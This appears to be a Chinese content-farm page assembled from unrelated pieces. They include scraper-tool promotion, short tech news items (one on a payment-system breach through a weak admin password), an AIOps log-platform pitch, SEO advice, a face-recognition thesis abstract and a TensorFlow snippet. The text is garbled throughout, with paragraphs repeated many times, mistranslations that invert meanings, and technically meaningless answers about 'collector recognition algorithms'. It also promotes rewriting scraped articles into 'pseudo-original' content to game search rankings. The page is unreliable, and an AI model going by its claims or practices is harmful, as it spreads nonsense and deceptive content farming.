　　3. 截取的文字已经用标准化的标签进行了清理，所有段落都以
　　4、标签显示出来，乱码会被去除。
　　5.根据采集收到的内容，图片必须与内容相关度很高。以这种方式替换 伪原创 不会影响可读性，但也允许 文章 比 原创 提供的信息更丰富。
　　6、整合百度站长平台积极推送提速收录。
　　7.可以直接使用关键词及其相关词作为标题，也可以抓取登陆页面的标题
　　如果我们处理好文章采集的内容，采集站点也可以很快收录。由于本文章采集器永久免费并得到广大站长朋友的支持，是SEO圈里的良心软件，为众多站长朋友的收益带来了实实在在的流量和经济效益. 查看全部

　　解决方案:采集器的自动识别算法与码率是否匹配，仅仅与质量有关
　　采集器的自动识别算法与码率是否匹配，仅仅与质量有关，并不是距离传感器测量的距离有关。选择高质量的采集器，对图像质量有很高的要求。对于客户群体，在节能减排大行其道的今天，绝大多数客户，都是比较节能减排的。因此要考虑数据和模型产品，能否与节能减排直接挂钩。采集器自动识别匹配性能，对于节能减排，是极为重要的。
　　例如:采集一个外部高点，自动识别出一个内部斜线。而判断这个斜线是否在高点对应点。这是采集器自动识别匹配质量需要把握的一点。另外，采集器图像质量越高，自动识别的精度越高。如果离散化过程中图像比较大，采集到的图像数据也不会太精确。对于离散化不佳的情况，考虑定位和缩放。如果不需要进行自动缩放，也需要考虑内容均匀性。
　　谢邀。
　　
　　1、我们已经讲了，采集器和图像匹配过程是较为复杂的过程，在对如何准确分析图像匹配不到位置进行尝试之前，应对采集器的结构进行了解。
　　2、由于通常不同采集器之间存在着图像重叠区域，以及有可能每个采集器以不同的方式对不同的图像进行了采集，因此在进行图像匹配之前，图像级别之间有很大的跨越特性，导致如何进行准确匹配成为了问题。我们的解决方案是：当要匹配的图像，在同一种采集器中可以正确识别时，即可进行检测；如果该图像被多种采集器检测出不匹配，或者该图像在不同种采集器中无法正确识别，则需要检测不同种类的采集器了。
　　3、在采集器识别过程中，原则上，距离应尽可能保持匹配的一致性。即便在图像源可能存在不同类型的采集器之间的匹配图像，需要对不同种类的采集器进行匹配，我们仍然建议，将采集器中的图像长度保持匹配。
　　
　　4、建议在检测匹配到位的情况下，采用某种单位图像/像素形式进行匹配：例如1像素内的同类型图像以相同的边界方式进行匹配，而1像素的不同类型的图像以相同的模式进行匹配。
　　5、在确定上述方案后，可以在整个匹配过程中进行采集器的图像重复点击，这样匹配的边界变化就会比较大。注意，重复点击只能在同种图像匹配到位以后才能进行。
　　6、在原始的图像级别中存在灰度值不匹配的现象，这样会导致重复匹配失败。这时需要进行灰度校正后再进行下一轮匹配，但由于这种方式的匹配过程可能会比较困难，我们并不建议经常对灰度值不匹配进行图像匹配。
　　7、同时，也要注意采集到的原始图像不要超过3格图像长度。 查看全部

　　即将发布:黑客利用公司后台弱密码转走730万；全球首款 LCD 屏内多点指纹识别方案发布；
　　近日，深蓝科技研发的“熊猫智能巴士”首次在上海的开放道路上进行测试。这是一款外形酷似大熊猫的纯电动新能源汽车。配备自动售货柜，支持“刷手”支付。这种支付方式采用手掌脉搏识别的生物识别技术，通过红外光拍摄，内部活体特征采集皮下3mm，然后通过复杂的算法，匹配识别出体内唯一DNA的生物特征值。手掌，从而完成身份认证，与支付软件自动绑定，轻松支付。
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　　黑客利用公司后台弱密码转移730万
　　近日，上海某公司自主研发的“支付系统”被黑，涉案金额超过730万元。警方调查后发现，共有3个国内外IP地址入侵“支付系统”。攻击者破解了系统管理后台的用户名和密码，下载客户资料后，成功破解了“支付系统”的客户端平台，修改了用于支付验证的手机号和支付密码。控制资金流转权限后，他立即向公司7个银行账户发出汇款指令，盗取资金。公司遭受巨额经济损失的根本原因在于其使用了世界上最弱的密码之一“123456”，这是世界上最容易破解的。此外，该公司建立了自己的“支付系统”，以降低转账费用。未能在网站依法上线后30日内完成备案，并进行了等级保护评估，导致管理后台一直处于“裸奔”状态。黑客的机会更多。
　　目前，上海警方根据银行账户记录和资金流向，14天内共抓获来自全国各地的15名犯罪嫌疑人。可见，很多人的密码安全意识还是不强的。事实上，强密码是保护网络信息安全的最基本、最核心的手段之一。
　　
　　闲鱼想翻身：还在用容易破解的弱密码吗？
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　　全球首款液晶屏多点指纹识别发布
　　昨天，天马微电子宣布正式发布全球首款液晶屏多点指纹解决方案（TFP）。拥有自主知识产权，具有高集成度、全屏多点指纹识别、高屏占比等特点。. 屏幕采用光学指纹识别方式，将光路调制单元和指纹图像采集器集成到显示屏中，与外置准直光路相比，显示屏厚度减少50%以上设计方案。它更薄更轻，屏占比也有所提升。同时，全面屏指纹多点识别方案还实现了触控三功能的融合，首次显示和指纹识别，可应用于全屏盲解锁、App加密解锁、自定义指纹控制等，这意味着智能终端的人机交互体验将更加多元化，组合可以实现应用锁和全屏指纹识别。点击图标时可同步验证指纹，一键解锁有助于提高手机的安全性和隐私性。甚至可以在点击支付的瞬间自动完成指纹验证，大大简化了操作。目前，天马的技术已做好量产准备，正在向世界知名品牌终端送样。可应用于全屏盲解锁、App加密解锁、自定义指纹控制等。这意味着智能终端的人机交互体验将更加多元化，应用锁与全屏指纹识别的结合可以实现。点击图标时可同步验证指纹，一键解锁有助于提高手机的安全性和隐私性。甚至可以在点击支付的瞬间自动完成指纹验证，大大简化了操作。目前，天马的技术已做好量产准备，正在向世界知名品牌终端送样。可应用于全屏盲解锁、App加密解锁、自定义指纹控制等。这意味着智能终端的人机交互体验将更加多元化，应用锁与全屏指纹识别的结合可以实现。点击图标时可同步验证指纹，一键解锁有助于提高手机的安全性和隐私性。甚至可以在点击支付的瞬间自动完成指纹验证，大大简化了操作。目前，天马的技术已做好量产准备，正在向世界知名品牌终端送样。这意味着智能终端的人机交互体验将更加多样化，可以实现应用锁和全屏指纹识别的结合。点击图标时可同步验证指纹，一键解锁有助于提高手机的安全性和隐私性。甚至可以在点击支付的瞬间自动完成指纹验证，大大简化了操作。目前，天马的技术已做好量产准备，正在向世界知名品牌终端送样。这意味着智能终端的人机交互体验将更加多样化，可以实现应用锁和全屏指纹识别的结合。点击图标时可同步验证指纹，一键解锁有助于提高手机的安全性和隐私性。甚至可以在点击支付的瞬间自动完成指纹验证，大大简化了操作。目前，天马的技术已做好量产准备，正在向世界知名品牌终端送样。指纹同步验证，一键解锁，提高手机安全性和隐私性。甚至可以在点击支付的瞬间自动完成指纹验证，大大简化了操作。目前，天马的技术已做好量产准备，正在向世界知名品牌终端送样。指纹同步验证，一键解锁，提高手机安全性和隐私性。甚至可以在点击支付的瞬间自动完成指纹验证，大大简化了操作。目前，天马的技术已做好量产准备，正在向世界知名品牌终端送样。
　　闲鱼想翻身：触控、显示、指纹识别三合一有点厉害，会给交互体验带来很大的改变。
　　
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　　GitHub 的终极浪漫：开源代码永存
　　人类文明的成就是最宝贵的财富。无论是为了未来的人类了解过去的历史，还是为了天启后的重启，都应该妥善保存并传承给后代。为了保持开源代码的安全和长期，GitHub 实施了一个浪漫的人类计划。7 月 8 日，GitHub 将支持当今社会运行的几乎所有开源代码，包括 Net、ruby、apache、docker、php 等，以及几乎所有的操作系​​统、数据库、金融区块链、音视频、前端和后端等。程序智能，存储在 201 卷胶片中，包装并运往斯瓦尔巴群岛。斯瓦尔巴位于世界最北端，气候极寒，终年冰冻。它是远离世界纷争、保存人类文明的圣地。这些薄膜被放置在钢制容器中，密封在一个极其干燥的废弃煤矿中，温度保持在-5°C，预计可以使用长达一千年。同时，GitHub 也在研究使用石英玻璃作为存储代码的媒介。对电磁干扰、水和热具有良好的适应性，可提供数万年的储存寿命。目前，GitHub 已经以这种形式存储了全球 6000 个最受欢迎项目的代码，以验证其可行性。预计将持续长达一千年。同时，GitHub 也在研究使用石英玻璃作为存储代码的媒介。对电磁干扰、水和热具有良好的适应性，可提供数万年的储存寿命。目前，GitHub 已经以这种形式存储了全球 6000 个最受欢迎项目的代码，以验证其可行性。预计将持续长达一千年。同时，GitHub 也在研究使用石英玻璃作为存储代码的媒介。对电磁干扰、水和热具有良好的适应性，可提供数万年的储存寿命。目前，GitHub 已经以这种形式存储了全球 6000 个最受欢迎项目的代码，以验证其可行性。
　　闲鱼想翻身：如果存储的源代码里有你的代码，你会收到Github的勋章~有人收到了吗？
　　教程:自动批量图片采集编辑导出本地文件夹
　　指定采集图片教程，网页图片采集分为指定网页图片采集和关键词图片采集，我们都可以用图片采集 软件轻松采集图像素材，工作流程为图像采集、图像处理和图像导出。
　　1. 图片采集
　　指定网页图片采集，输入我们的目标网站的链接，点击抓图图片链接，等待任务被抓取。如图，将图片链接导入图片链接下载栏，完成指定的网站图片采集。
　　关键词图片采集，在关键词采集任务中，输入我们的关键词或者长尾词，点击开始任务，可以使用所有平台关键词文章采集，得到的文章都是搜索引擎下拉热门文章，所以得到的图文新颖、实时，流行，在任务预览中点击导出图片，可以在本地文件夹中获取大量图片。
　　
　　2.图像处理
　　在采集之后的图片导出到本地文件夹或者发布给我们网站之前，我们可以对图片进行批量处理。通过设置图片的px像素大小、大小、格式等来批量过滤我们需要的图片，并且可以对图片进行旋转、镜像、加水印等操作。对于需要发布到网站的图片，我们可以根据原文自动提取tdk，给我们的图片添加alt标签。
　　3.图像导出和图文发布
　　图片采集软件支持导出多种格式到我们本地文件夹，或者发布到我们的网站自媒体平台，支持导出本地gif/jpg/png/pdf/word/txt，等类文档格式，
　　
　　压缩和重复的内容，如果我们为 网站 上的每个页面创建唯一的源素材，则无需担心重复的内容。但是，如果我们有很多具有相似内容的页面，则可能会导致重大问题。重复的内容可以出现在任何 网站 上，例如 cms 在不同的 URL 处生成同一页面的多个版本。
　　还是同一个故事，内容图薄。这是当页面上没有足够的文本和图像来提供价值或回答搜索者的问题时。搜索引擎可能会将此视为我们的 网站 无关紧要并且不会将其排名更高的指示。
　　因此，重要的是要跟踪所有薄页和重复页面并尽快将其删除。为了确保我们 网站 的最佳 SEO 和有机增长，我们必须确保 网站 上的内容既不单薄也不重复。
　　图片采集和文章采集，数据采集一直在我们身边。三者只是侧重点不同。通过图片采集软件，我们还可以对文章数据进行采集，图文素材采集、数据筛选、抓取和分析都可以轻松完成。返回搜狐，查看更多 查看全部

　　整套解决方案:关于运维自动化:智能运维时代如何做好日志全生命周期管理
　　云智能AIOps社区由云智能发起。针对运维业务场景，为智能运维业务场景提供算法、算力、数据集、解决方案交流社区的整体服务体系。社区致力于传播AIOps技术，旨在与各行业的客户、用户、研究人员和开发者一起，独特解决智能运维行业的技术难题，推动AIOps技术在企业中落地应用，构建弱者共赢。赢得 AIOps 开发者生态系统。
　　本文将从平台架构入手，具体讲解云智慧如何快速高效地解决日志生命周期问题。
　　智能日志平台架构概述
　　云智能日志平台架构的第二个特点是可以连接多个日志源的日志。此外，云智能采用分布式和可扩展的组件。当组织需要扩容、减少运维对象数量时，企业可以快速扩容，适应新的变化。日志采集部分被自研日志采集器使用，采集器可以连接日志、数据库、消息队列等。同时云智能提供能够批量部署和管理采集器。在日志解决方案方面，云智能采用了Kafka消息队列和Flink流解决方案组件，可以满足海量数据采集需求，防止横向扩展。
　　目前云智慧的日志采集都制作成标准化的采集模板，可以间接连接数据源，通过配置满足日志访问。
　　日志数据采集 获胜后，进入数据处理阶段。Cloud Wisdom 利用拖放式编排数据处理组件来标准化日志数据。例如，当有来自不同日志源、不同时间格式的日志时，运维人员可以通过“日期转换”组件将固定格式的日期字段转换为时间戳格式。在整体数据处理编排中，针对单步流程调试性能。
　　在存储方面，如下所述，Cloud Intelligence 的底层存储可以同时支持 Elasticsearch 和 Clickhouse 双引擎存储。通过对自身环境的性能测试，ES引擎的日志搜索性能提升了一倍以上。Clickhouse 不仅数据压缩率高达 30%，而且在固定场分析中表现出数倍的性能劣势。以上分析结果反映了Elasticsearch和Clickhouse在不同场景下的应用范围，也让云智慧的日志产品在不同场景下有最佳实践。
　　下图为云智慧在第三方接收平台和航空信息企业的解决方案能力。从下图可以看出，云智能日志平台在3秒内可以支持超过3亿条数据查询。云智慧在某航空信息公司的采集中有10000多个日志节点，全部依赖云智慧的采集控制平台进行批量治理。在数据存储能力方面，云智能在高压缩比的情况下，依然可以控制在已经很敌对的水平。
　　应用场景介绍
　　介绍完日志是如何从采集传输到存储中的，我再分享一下云智能智能日志平台的应用场景。
　　通过云智慧日志智能平台成功管理不同、碎片化的日志后，运维人员可以在智能日志平台中快速便捷地进行全文检索和查询，查询日志时无需登录每台机器. 平台支持SPL语法查询、联想查询、词分析等功能，可提高整体查询效率。
　　运维人员在进行故障排除时，往往无法启动，因为他们查看的日志中没有收录全局信息。但是，云智能智能日志平台可以通过拼接日志中的相关字段，创建日志的不完整上下游信息。全局直观的人员显示，帮助运维人员展示所有故障相关的问题日志，便于快速查询和排除故障。
　　当日志监控手段多而全面时，误报率会增加，而模式识别是云智能的日志“转化场景”之一。在传统的运维中，由于运维人员需要做大量的手动配置，日志管理分析非常麻烦。云智能方案无需企业进行任何配置，即可享受智能方案带来的效率提升。
　　
　　同一种模式的日志往往具有某些独特的特征，例如相似的日志结构。日志模式识别使用聚类算法对日志文本中相似度高的数据进行聚合，从而提取出独特的日志模式。无需运维人员配置，即可主动快速发现异常模式日志。此外，它还可以辅助根因分析，通过配置的聚合关键字生成“饼图”和“条形图”，帮助企业管理者了解不同时期的具体情况，从而扩大排查范围。
　　基于日志的链路拓扑是一种非侵入式的日志转换形式。无需安装探针和日志链路，即可为运维人员提供全链路跟踪和故障排除能力。
　　如下图，运维人员可以具体看到各个应用相关日志组成的调用链。此外，每个可观察节点都会用不同的颜色来识别自己的弱点。同时，云智慧日志管理平台也反对点击节点下钻，方便运维人员查看节点的具体运行状态。
　　日志审计的主要内容是各种操作日志、流量日志、会话日志、原创数据包等。外部困难在于大数据的聚合、存储（保留6个月）、索引和分析技术。云智慧认为，日志审计应该具备数据脱敏、快速查询历史日志、存储成本低的能力。此外，根据《网络安全法》的要求，数据最长保存期限为6个月，规定时间范围内的日志数据可要求监管部门调取。同时，云智慧也认为日志审计应该具备安全事件的预警和分析能力，让企业在管理日志后也能具备安全合规的能力。
　　劣势及价值分析 智能日志异常检测VS传统日志异常检测
　　与传统的日志异常检测相比，智能日志在人力成本、告警准确率、异常定位等方面存在明显劣势。基于规定的传统日志异常检测，报警准确率只有20%左右，而云智能的智能日志可以达到70%。
　　模式识别在日志分析中的价值案例分享
　　下图为国内某顶级券商云智能服务的真实案例。为了更好的保证系统的稳定性，云智慧对业务系统中收录用户行为的采集日志进行管理，并管理到日志智能分析平台中。在上面，我们尝试通过比较异常期和异常期日志的分布趋势来定位辅助根因。
　　首先看异常期间日志的日志分布趋势以及用户登录客户端和版本号的分布（如左图）。接下来我们看一下异常时期的日志分布趋势图（如右图所示）。异常期间，日志量比异常期间增加了10倍以上，登录客户端的用户比例和版本号比例发生了显着变化。，Android的占比从68%变成了95%。同期，7.2.4 版本生成了 12,000 多条日志。基于此，不难推断该故障极有可能是7.2.4版本的Android客户端造成的。经调查确认，上述说法得到证实。短短3分钟，
　　案例二：携号转网行为日志辅助根因分析
　　下图是一个云智能服务运营商企业的真实案例。日志是转号业务产生的服务器日志。从下图可以看出，异常发生的时间是2021年8月2日15:35，此时运维人员可以直接点击系统中的异常点，查看系统的分析页面异常点。图片右侧可以看到的原创日志信息显示，群服务器申请某个IP时信息异常。在传统的运维中，运维人员只能停留在这一步。但是，借助云智能的智能日志平台，运维人员可以对这些日志进行汇总和分析。
　　这个场景就是调用链的应用。在一家银行，Cloud Intelligence 帮助企业建立了从前端到后端的呼叫链接（通过 Opentracing 协议）。某天，当你收到39或更多时，APP会发出9.9元的优惠券。由于APP卡住，响应慢，无法申请优惠券，引发大量用户投诉。云智慧通过调用链接来检查问题的时间段。上述投诉问题是由于外围系统响应慢和HTTP500错误造成的。
　　案例4：某资产管理公司基于日志的系统漏洞分析
　　下图是一家资产管理公司的案例。公司的系统来自内部协商，企业运维人员想独立管理所有系统日志。其次，有两个需求。一方面，当接到报警后，可以快速解决问题，增加了运维的难度。基于以上需求，云智慧提供日志+对抗告警+监控核心分片墙方案，对日志中的关键字进行监控告警，通过事后防护知识库匹配告警信息的关键字。，并提供推荐的常识（常识为客户推荐定制的性能），
　　
　　写在开头
　　近年来，在AIOps领域快速回归的背景下，各行业对IT工具、平台能力、解决方案、AI场景和可用数据集的需求呈爆发式增长。基于此，云智慧于 2021 年 8 月宣布成立 AIOps 社区，旨在打造开源旗帜，为各行业的客户、用户、研究人员和开发者打造一个沉闷的用户和开发者社区，为行业做出独特贡献和解决。问题，并促成了该领域的技术倒退。
　　社区开源了数据可视化编排平台——FlyFish、运维治理平台OMP、云服务治理平台——摩尔平台、Hours算法等产品。
　　视觉编排平台-FlyFish：
　　我的项目介绍：...
　　Github地址：…
　　吉特地址：…
　　行业案例：…
　　本地大屏案例：
　　请通过上面的链接了解我们，加个小助手（xiaoyuerwie） 注：飞鱼。退出开发者交流群，与业内大咖进行1V1交流！
　　您还可以通过小助手获取云智能AIOps信息，了解云智能FlyFish最新进展！
　　【腾讯云】云产品限时发售，热门1核2G云服务器首年50元
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　　操作方法:极简易用网页采集器：爬一爬数据采集实战教程
　　在使用了各种爬虫软件后，终于找到了一个好用又免费的数据采集器。对于没有强大编程基础的数据分析师来说，攀登 采集器 就像是量身定做。在使用的过程中，有几处感受是必须要表扬和表扬的。
　　免费/易操作/跨平台/高效
　　下面简单介绍一下使用方法，让更多的人可以用最简单的方式采集到需要的数据。
　　首先爬取采集器的谷歌浏览器插件。
　　单击浏览器工具栏右侧的按钮 -&gt; 更多工具 -&gt; 扩展。或在地址栏中输入 chrome://extensions/
　　安装步骤2：打开扩展页面
　　3、将下载好的插件拖入浏览器的“扩展”页面，点击“添加扩展”，插件安装完成。“Climb”标志出现在插件栏的右侧。
　　安装步骤 3：添加扩展
　　
　　4. 确保你的账号已经登录，打开你要采集的网站，点击浏览器插件栏的“爬升”图标启动插件。
　　5. 单击以选择要抓取的元素。如果彩盒中没有收录所有的任务数据，点击选中元素右侧的“变换”按钮切换算法，直到选中所有的任务数据。
　　采集第一步：依次选择要为采集的元素
　　6、如果要抓取多页，点击分页设置的箭头，选择页码所在的区域。
　　采集第二步：选择页码所在区域
　　7、确认颜色框中的数据全部选中后，先点击“完成”按钮，再点击“测试”按钮，测试数据采集是否成功。（注：测试模式下最多可以采集5页数据）
　　采集第三步：测试数据
　　8、确认测试成功后，点击“确定”关闭测试窗口。填写任务名称（长度4-32个字符，必填），根据个人需要修改列名。
　　
　　9.点击“提交”按钮，任务创建成功。您可以在 网站 的“任务”页面下运行和管理此任务。
　　采集第四步：运行任务
　　10. 在任务运行过程中，您可以点击任务的“管理”页面，查看任务运行状态和日志。
　　采集第五步：查看任务运行状态
　　11. 任务运行后，点击“任务”页面的数据选项，即可查看和下载数据。
　　采集第 5 步：查看和下载数据
　　教程简单分享给大家，操作很简单，免费，功能很强大。希望本次分享能够对一些需要采集数据工作者或者数据支持的公司有所帮助！ 查看全部

　　整套解决方案:智能人脸识别算法及其FPGA的实现
　　
　　上海交通大学硕士论文摘要第I页智能人脸识别算法及其FPGA实现摘要自动人脸识别技术是模式识别、图像处理等学科中最热门的研究课题之一。随着社会的发展，各方对快速有效的自动身份验证的要求越来越迫切，而人脸识别技术作为各种生物识别技术中最重要的手段之一，也越来越受到重视。实时、快速、低误报率的高性能算法和算法的硬件加速研究也在逐步展开。本文详细分析了智能人脸识别算法的原理、发展概况和展望，包括人脸检测算法、人眼定位算法、预处理算法、PCA和ICA算法，详细分析项目情况、系统划分、软硬件平台资源和使用。在ISE软件平台上，严格按照FPGA代码风格，采用硬件描述语言（ver ilog HDL）对RTL中的算法部分进行建模，并对C++算法进行了优化。比较评估误差最后在Vi rt ex II Pro FPGA上进行了全面的实现。主要研究内容如下。首先对硬件平台xili nx的Vi rt ex II Pro FPGA上的系统资源进行了描述和研究。对内存sdram、RS-232串口、J TAG进行了研究和调试。Cor ec onnect 的 OPB 总线仲裁机制在两种算法之间进行比较，
　　
　　利用ISE和VC++软件平台，对verilog和C++算法进行同步对比测试，使算法的每一步都对应正确的结果。合理利用软硬件平台，使项目尽可能充分利用硬件资源，在做板时选择正确的型号，加快设计和调试进度。上海交通大学硕士论文摘要第二页，分别对比研究了人脸识别算法过程中的人脸检测、眼睛定位、预处理和识别算法，选出性能最好的算法。对其原理进行了分析和讨论。人脸检测采用adaboos t算法，它在速度和准确性的综合表现上非常出色。小块合并算法用于人眼定位是因为它具有快速、准确、实时性弱的特点。预处理算法采用直方图均衡平滑算法，简单高效。识别算法采用PCA和ICA算法，可以最大程度地减弱姿态和光照对人脸识别的影响。最后，利用Verilog HDL硬件描述语言对该算法进行RTL建模，在C++算法的基础上，在保证原有效果的前提下，根据FPGA硬件的特点对算法进行了优化。视频输入输出是人脸识别的前提，
　　核心方法:seo优化过度的表现是怎样的？怎样避免seo过度被降权?
　　2021-12-03
　　seo优化
　　王格
　　要做网站seo优化，需要自己做站内和站外seo优化，持续稳定优化，增加域名信任和质量，但是有时候优化不到位，网站过度优化会直接导致网站被搜索引擎降级和惩罚，哪些网站seo优化属于网站seo过度优化操作？如何判断网站seo是否过度优化？如何避免 网站seo 过度优化被搜索降级？接下来，一品小编将为大家分享如何诊断分析，如何避免降级。
　　
　　1、哪些seo优化操作会被判断为网站过度seo？
　　1.网站词库规划布局，网站标题写，大量列表关键词，网站标题是参与词库排名匹配的重点，这么多站长们，为了完全匹配关键词，故意在标题中叠加或者重复关键词，以增加匹配度和相关度，但是这个操作直接用于新站的优化在线的。搜索打击。
　　2、网站内链构建，网站做内链锚文本构建，操作多个内链锚文本，都指向首页URL，这种操作网站内链构建不是站在用户的搜索推荐上，只是优化操作关键词，以及操作的内链锚文本，这种没有推荐意义的内链，一般不会有一个好的搜索排名，会直接导致网站首页因为过度被搜索引擎降级。
　　3、网站外链建设，外链需要持续稳定建设，外链需要稳定性和多样化，短期内会增加大量外链。，这种操作很容易被判断为恶意购买外链提权。单向外链对网站的影响不是太大，一般不会轻易拉低，如果是朋友链，可能会受到影响，搜索引擎会自己过滤，无效外部链接会被直接过滤掉，不会有增加信任的效果。
　　4.故意文章内容更新进行优化，网站原创内容更新会增加网站有效收录，增加词库排名，但如果是为了seo故意大量更新文章、伪原创，堆积文章等词对用户来说是无用的，毫无价值的。短期内可能有效，但如果长期被搜索引擎发现，会导致网站被删除权限无法参与词库排名。
　　
　　2.如何避免网站过度seo优化导致网站降级？
　　1.网站过度seo优化是由网站seo优化者为了短期内获得排名而故意进行seo优化操作，如标题堆叠重复关键词，大量词库链锚文本的全部指向首页，短时间内购买大量外链，网站大量更新低质量网页文章等。
　　2.网站标题要编好，词库要组织好。标题格式应参考百度推荐的标题规范。两者都是友好的，简单地堆叠和重复用户体验并不好。
　　3、对于网站内链的构建，小编建议操作推荐的网站内链，而不是为了刻意优化而操纵内链锚文本指向首页URL。内链的作用是提升用户搜索体验，增加网站内容的价值，相关推荐和面包屑导航也是内链建设。
　　4. 网站内容建设，写有利于用户搜索的网页内容更新，搜索引擎的存在是为了推荐有价值的网页内容信息，而不是在文章，网页中刻意布局优化词您可以获得良好的词库排名。一些老网站可能有排名，但是低质量网页文章的排名长期不稳定。做高质量的原创内容更新，提升网站的质量和域名信任度。 查看全部

　　终极:采集器的自动识别算法：经过识别之后会推送给包括esb
　　
　　采集器的自动识别算法：经过识别之后会推送给包括esb（即javasqlapi中的bigdata方言）在内的所有数据库服务器，然后所有服务器都开始一起向公网发送数据（oracletair等支持ftp），这样的话javasqlapi就可以直接进行数据转发了，速度就会非常快。javasqlapi提供的是自动化测试平台服务（html5写的、带主从的分布式云模块），所以会有一些兼容性问题，也会存在数据传输问题等等。
　　
　　对于ftp存在的数据传输问题（包括直接原始磁盘拷贝的、mapreduce的），我觉得相比于oracle数据库自带的ftp这样的只需要openstackvm就能支持的解决方案，我还是更希望在云上通过一套标准化的（prefix/vlan/cache）方案，在不同的机器上虚拟化共享数据，确保安全性和不泄露敏感信息的情况下把同一份数据分布到不同的ip上传输和保存，这样对实时数据处理有更高的要求的话，可以考虑迁移到vm集群解决。
　　关于云数据库：1.云数据库是否要必须保证敏感数据存储和查询（尤其是java中的大数据方案）；2.云数据库是否有本地开发好的java版（ftp这些本地oracle/mysql/sqlserver之外还有本地sqlserver插件）；3.云数据库是否可以基于cloudapi实现本地服务集成的模块，以及在云上存储；这些可以作为讨论点；。 查看全部

　　直观:手机采集器的自动识别算法本身可以识别的，差不多
　　采集器的自动识别算法本身可以识别的，就是内置多个阈值值，最准确的是光频成分，再次是设备识别成像特征，再次是设备识别的时间，很多很多，看你的需求。
　　
　　手机目前对接的视频采集分为两种：一种是目前主流的摄像头手机，包括小米以及vivo，现在这类手机基本上都是通过蓝牙或者wifi连接采集机器，
　　可以的，市面上的现成方案都是可以直接采集手机拍摄的图像信息，因为两点1如果采集的是视频信息，是需要用专门的剪辑软件剪辑过的，例如万兴方案一般用的是topmovie2如果是音频信息，肯定需要转换成mp3格式，如果是用开源视频采集软件，对应采集按钮和脚本模块可以采集到图像和音频信息，然后数据库匹配计算出怎么生成视频就差不多了，推荐用mtk平台视频编辑器，海思和a58的，国产的mp3平台比较成熟的算是走云飞，如果考虑以后做成soc，那还需要加上图像处理。
　　
　　只要手机的摄像头能看到信号，
　　手机采集目前手机cmos卡一般带蓝牙功能或者wifi功能，都可以连接摄像头拍摄，现在的视频采集手机一般都会带一个相机采集器，然后其它机器都是先从电脑上采集到摄像头拍摄视频，
　　嗯，这个是有的，如果你买可以自动识别来源是手机摄像头的手机，可以将采集到的信息跟对应的匹配上，如果你想多个方向来采集信息，需要多个摄像头， 查看全部

　　解决方案:采集器的自动识别算法(一)_光明网(图)
　　采集器的自动识别算法通常是依据照片偏差来生成相关性很小的数据进行特征点提取,自动识别一般都是识别出一定范围内的特征点,也就是区域内的个数(iou)大于一定阈值才可以被识别.当然也有例外,比如图像区域内有杂物,只有少数几个实体可以被自动识别.
　　这个要么就是基于类的算法，要么就是基于一些特征点，或者是没有用的某种特征点。比如区域内的特征点少，但是在图像中存在多个点的话，想要分类就要将某几个点进行特征点提取计算。所以区域内的几个点几乎都会识别出来，至于具体选择哪个点，具体取决于对于某种图像分类的准确率。一般来说生成的点都较为准确，因为iou（一定范围内图像内包含的最小单元）大于阈值会被自动识别，区域内比如说从左上到右下全是点，这种点识别结果也会好。
　　
　　基于特征的，一个特征点上的分类图一般会识别出50%-70%的结果。区域内的特征点，当每个特征点的分类结果相差比较大的时候，一般会认为是区域内的，当然这个不绝对，有的特征点分类后，可能结果特别的差。
　　都认为是，一般是区域内的较好。至于对大小的判定，
　　
　　1：对于图像识别问题，不用单单的回答是或者不是，从文章目的来说，它只是解决一个问题：输入和输出的判断问题，输入输出一般是图像本身，会算出一个关于图像输入的结果，对于模型的认识：对于输入（图像），会算出一个最大iou值，也就是输入和输出的结果比较值。如果都在区域内，就认为是区域内的(当然，特殊情况除外)，当输入输出有不在区域内时，则认为是不在区域内的(当然，特殊情况除外)。
　　2：从数学角度上来看的话，取决于我们最初假设的变量选择。比如说两张图片，在同一个位置有不同的颜色值，有个样本，且这两个颜色值点的距离也很近，一个样本是0.5，一个样本是1.5。这个时候取0.5这个点做特征。其他值作为进一步的判断即可。对于区域内的点，在相同颜色值情况下，点位于同一区域内，那么这个点就可以在这个区域内。
　　如果在不同区域，那么取出一个属于区域内的，与最小区域内的点做比较，如果在多个区域内，那么取这个取后面最小的那个区域，再比较相邻的两个区域，都不在区域内，则认为是不在区域内。对于大小来说，我认为实际情况下我们考虑空间分辨率和高度。对于同一大小的图片，颜色值相同的话，取对于高度相同的这一特征点。对于不同颜色值情况下，取对于颜色值，高度在高的区域内的点，判断点相似度即可。无线区域内的一些点在输入上有可能没有问题，但是将来可能会有新情况出现。比如空间分辨率低的图。 查看全部

　　通用方法:几种人脸识别算法的原理概念及其代码特征
　　1 简介
　　随着面向对象编程语言的发展，掌握一门新的编程应用技术基本上有两个要求：
　　可以理解大体原理：这可以帮助我们组织/修改/加入现有的代码块
　　能够识别核心代码：这可以帮助我们调试代码性能以满足我们的需求
　　因此，本文以“关键原理和概念”vs.“核心代码块的特征”的形式总结了几种人脸识别算法，以供回顾、改进和交流学习。
　　需要注意的是：
　　本文的主要内容是网络资源的有序排列。带下划线的文本有链接。
　　我会在编程表达式上不准确和不专业，希望您能从中得到一点启发和便利。
　　本文所有代码均来自网络，主要来自seathiefwang；康尼波；aymericdamien，其知识产权和附带的合法权利属于原作者。
　　另外，在深度学习上，这种辩证的 文章 很有启发性。
　　2.主要内容 2.1. 源码介绍及链接
　　2.2. 基于线性回归的机器学习最简单的例子
　　2.3 基于欧式距离的人脸识别
　　2.4 Tensorflow组织的卷积神经网络架构
　　2.5 完整的代码和特征代码块 2.1。源代码介绍及链接
　　后面会有很多废话，先上源码。都经过我测试，可以按照如下配置运行：Win10 + Python 3.6 + Tensorflow 2.0，其他库按照pip默认版本安装即可。
　　代码兼容性问题很大一部分来自于不同版本的 Tensorflow。对于基于Tensorflow 1.x编写的代码，我修改参考如下，使其在Tensorflow 2.0下运行。
　　import tensorflow.compat.v1 as tf
tf.disable_v2_behavior()
　　（1）基于线性回归的机器学习最简单的例子：源码；备份我的修改
　　数据集是自定义数组；
　　简要展示了机器学习的训练和性能评估环节。
　　#python迭代过程
step: 50, loss: 0.001438, W: 0.981427, b: 0.116864
step: 100, loss: 0.001171, W: 0.983242, b: 0.105449
step: 150, loss: 0.000953, W: 0.984879, b: 0.095148
step: 200, loss: 0.000776, W: 0.986356, b: 0.085853
step: 250, loss: 0.000632, W: 0.987689, b: 0.077467
step: 300, loss: 0.000514, W: 0.988891, b: 0.069899
step: 350, loss: 0.000419, W: 0.989976, b: 0.063071
step: 400, loss: 0.000341, W: 0.990956, b: 0.056910
step: 450, loss: 0.000278, W: 0.991839, b: 0.051351
step: 500, loss: 0.000226, W: 0.992636, b: 0.046334
